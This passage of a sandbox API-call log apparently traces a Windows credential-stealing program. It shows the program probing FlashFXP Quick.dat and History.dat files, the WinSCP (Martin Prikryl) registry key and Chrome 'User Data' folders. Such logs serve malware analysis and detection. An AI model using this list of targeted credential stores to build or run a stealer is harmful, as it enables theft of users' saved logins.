LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x2cbd10 [0056.108] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0056.108] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat" [0056.108] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.108] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0056.108] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2cc8d0 [0056.108] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat", lpDst=0x2cc8d0, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat") returned 0x3b [0056.108] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.108] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.108] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.108] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.108] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.108] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.108] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.108] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0056.108] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned 48 [0056.109] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.109] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x2d09b8 [0056.109] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0056.109] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat" [0056.109] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.109] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0056.109] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2d0a80 [0056.109] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat", lpDst=0x2d0a80, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat") returned 0x3b [0056.109] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.109] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.109] LocalFree (hMem=0x2d09b8) returned 0x0 [0056.109] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.109] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.109] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.109] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.109] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" [0056.109] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned 48 [0056.109] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.109] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x2d09b8 [0056.109] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" [0056.109] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Quick.dat" [0056.109] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.109] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0056.109] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2d0a80 [0056.109] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Quick.dat", lpDst=0x2d0a80, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Quick.dat") returned 0x3b [0056.109] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\5\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.109] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.109] LocalFree (hMem=0x2d09b8) returned 0x0 [0056.109] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.109] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.109] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.109] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.109] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0056.109] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned 48 [0056.109] lstrlenA (lpString="\\History.dat") returned 12 [0056.109] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2d09b8 [0056.109] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0056.109] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat" [0056.109] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.109] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.109] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2d0a80 [0056.109] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat", lpDst=0x2d0a80, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat") returned 0x3d [0056.110] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.110] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.110] LocalFree (hMem=0x2d09b8) returned 0x0 [0056.110] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.110] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.110] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.110] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.110] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0056.110] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned 48 [0056.110] lstrlenA (lpString="\\History.dat") returned 12 [0056.110] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2d09b8 [0056.110] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0056.110] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat" [0056.110] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.110] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.110] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2d0a80 [0056.110] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat", lpDst=0x2d0a80, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat") returned 0x3d [0056.110] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.110] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.110] LocalFree (hMem=0x2d09b8) returned 0x0 [0056.110] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.110] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.110] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.110] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.110] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" [0056.110] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned 48 [0056.110] lstrlenA (lpString="\\History.dat") returned 12 [0056.110] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2d09b8 [0056.110] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" [0056.110] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\History.dat" [0056.110] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.110] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.110] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2d0a80 [0056.110] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\History.dat", lpDst=0x2d0a80, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\History.dat") returned 0x3d [0056.110] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\5\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.110] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.110] LocalFree (hMem=0x2d09b8) returned 0x0 [0056.110] LocalFree (hMem=0x2cc740) returned 0x0 [0056.110] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.110] IStream:LockRegion (This=0x2c1a58, libOffset=0x198, cb=0x0, dwLockType=0x0) returned 0x0 [0056.110] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0056.110] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.110] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.110] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.110] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe0) returned 0x0 [0056.110] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0056.110] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbf4) returned 0x0 [0056.110] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbdc) returned 0x0 [0056.110] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl", phkResult=0x21f3d0 | out: phkResult=0x21f3d0*=0x0) returned 0x2 [0056.111] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Martin Prikryl", phkResult=0x21f3c4 | out: phkResult=0x21f3c4*=0x0) returned 0x2 [0056.111] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.111] IStream:LockRegion (This=0x2c1a58, libOffset=0x1a8, cb=0x0, dwLockType=0x0) returned 0x0 [0056.111] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbdc) returned 0x0 [0056.111] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.111] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.111] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.111] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe0) returned 0x0 [0056.111] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0056.111] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbf4) returned 0x0 [0056.111] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbdc) returned 0x0 [0056.111] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.111] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.111] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.111] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0056.111] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x2cc8d0 [0056.111] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.111] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" [0056.111] LocalFree (hMem=0x2cc740) returned 0x0 [0056.111] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned 53 [0056.111] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned 53 [0056.111] lstrlenA (lpString="\\*.*") returned 4 [0056.111] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2d09b8 [0056.111] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" [0056.111] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*" [0056.111] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*", lpFindFileData=0x21fa50 | out: lpFindFileData=0x21fa50) returned 0xffffffff [0056.111] LocalFree (hMem=0x2d09b8) returned 0x0 [0056.111] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.111] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.111] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.111] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.111] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0056.111] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x2cc8d0 [0056.111] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.111] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" [0056.111] LocalFree (hMem=0x2cc740) returned 0x0 [0056.111] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned 53 [0056.111] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned 53 [0056.111] lstrlenA (lpString="\\*.*") returned 4 [0056.111] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2d09b8 [0056.111] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" [0056.111] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*" [0056.111] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*", lpFindFileData=0x21fa40 | out: lpFindFileData=0x21fa40) returned 0xffffffff [0056.111] LocalFree (hMem=0x2d09b8) returned 0x0 [0056.111] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.111] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.111] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.112] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.112] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0056.112] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x2cc8d0 [0056.112] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.112] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0056.112] LocalFree (hMem=0x2cc740) returned 0x0 [0056.112] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0056.112] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0056.112] lstrlenA (lpString="\\*.*") returned 4 [0056.112] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x2cbd30 [0056.112] lstrcpyA (in: lpString1=0x2cbd30, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0056.112] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*" [0056.112] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*", lpFindFileData=0x21fa30 | out: lpFindFileData=0x21fa30) returned 0x2cb600 [0056.112] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.112] FindNextFileA (in: hFindFile=0x2cb600, lpFindFileData=0x21fa30 | out: lpFindFileData=0x21fa30) returned 1 [0056.112] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.112] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.112] FindNextFileA (in: hFindFile=0x2cb600, lpFindFileData=0x21fa30 | out: lpFindFileData=0x21fa30) returned 1 [0056.112] lstrcmpiA (lpString1=".", lpString2="User Data") returned -1 [0056.112] lstrcmpiA (lpString1="..", lpString2="User Data") returned -1 [0056.112] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0056.112] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0056.112] lstrlenA (lpString="\\") returned 1 [0056.112] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x2cc740 [0056.112] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0056.112] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" [0056.112] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned 52 [0056.112] lstrlenA (lpString="User Data") returned 9 [0056.112] LocalAlloc (uFlags=0x40, 